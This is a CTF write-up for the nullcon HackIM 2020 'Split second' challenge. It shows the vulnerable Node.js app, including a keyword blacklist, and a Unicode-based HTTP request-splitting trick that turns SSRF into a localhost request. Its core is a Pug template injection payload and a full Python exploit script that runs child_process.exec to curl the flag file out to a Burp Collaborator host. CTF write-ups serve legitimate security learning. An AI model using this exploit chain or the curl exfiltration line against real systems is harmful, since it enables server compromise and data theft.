Split second writeup nullcon/hackim ctf 2020

A basic free tier ec2 config that i used
sudo curl -L "https://github.com/docker/compose/releases/download/1.25.4/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-composesudo chmod +x /usr/local/bin/docker-compose
Inbound rule for the security group attached to ec2 instance
//node 8.12.0
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');

app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.html'));
});

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/source.html'));
});


app.get('/getMeme',function(req,res){
res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p><a href="https://giphy.com/gifs/kid-dances-jumbotron-LLHkw7UnvY3Kw">via GIPHY</a></p>')

});


app.get('/flag', function(req, res) {
var ip = req.connection.remoteAddress;
console.log(ip);
if (ip.includes('127.0.0.1')) {
var authheader = req.headers['adminauth'];
var pug2 = decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if(!x){
if (authheader === "secretpassword") {
var html = pug.render(pug2);
}
}
else{
res.send("No characters");
}
}
else{
res.send("You need to come from localhost");
}
});

app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/getMeme?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>Errrrr, You have been Blocked</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
resps = chunk.toString();
res.send(resps);
}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}


var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
var ip = req.connection.remoteAddress;
if (ip.includes('127.0.0.1'))
var authheader = req.headers['adminauth'];
var pug2 = decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if(!x){
if (authheader === "secretpassword") {
var html = pug.render(pug2);
}
}
var url = 'http://localhost:8081/getMeme?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>Errrrr, You have been Blocked</p>");
} else {
> Buffer.from('http://3.6.38.186:8081/core/?q=hshs\u{020D}\u{020A}', 'latin1').toString() 
'http://3.6.38.186:8081/core/?q=hshs\r\n'
>
http://3.6.38.186:8081/core/?q=test HTTP/1.1 /r/n/r/nGET /flag HTTP/1.1/r/n
from urllib.parse import quote, unquoteunicodechar = {
'/': quote('\u022f'.encode('utf-8')),
' ': quote('\u0220'.encode('utf-8')),
'\n': quote('\u020a'.encode('utf-8')),
'\r': quote('\u020d'.encode('utf-8'))
}
print(unicodechar)//output: {'/': '%C8%AF', ' ': '%C8%A0', '\n': '%C8%8A', '\r': '%C8%8D'}
http://3.6.38.186:8081/core/?q=test%C8%A0HTTP%C8%AF1.1%C8%8D%C8%8A%C8%8D%C8%8AGET%C8%A0%C8%AFflag%C8%A0HTTP%C8%AF1.1%C8%8D%C8%8Aadminauth:secretpassword
app.get('/flag', function(req, res) {
var ip = req.connection.remoteAddress;
console.log(ip);
-[]["constructor"]["constructor"]("console.log(this.process.mainModule.require('child_process').exec('curl burpcollab23232.burpcollaborator.net -X POST -d @flag.txt'))")()
curl burpcollab23232.burpcollaborator.net -X POST -d @flag.txt
import requests
from requests.utils import quote
def toOct(str):
r=""
for i in str:
if i>='a'and i<='z':
r+='\\'+oct(ord(i))[1:]
else:
r+=i
return r
SPACE=u'\u0220'.encode('utf-8')
CRLF=u'\u020d\u010a'.encode('utf-8')
SLASH=u'\u022f'.encode('utf-8')
pug = toOct('''-[]["constructor"]["constructor"]("console.log(this.process.mainModule.require('child_process').exec('curl 3gkvzwdvk8xxgjohn2gd1dbs4ja9yy.burpcollaborator.net -X POST -d @flag.txt'))")()''').replace('"','%22').replace("'","%27")#' and " need to be double encoded to make it a valid request
print quote(pug)
payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACEprint payloadprint quote(payload)res=requests.get('http://3.6.38.186:8081/core?q='+quote(payload))print res.content

--

--

Security professional. Aspiring to learn all security. Always ready to contribute back to the community. Passionate about writing on security.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store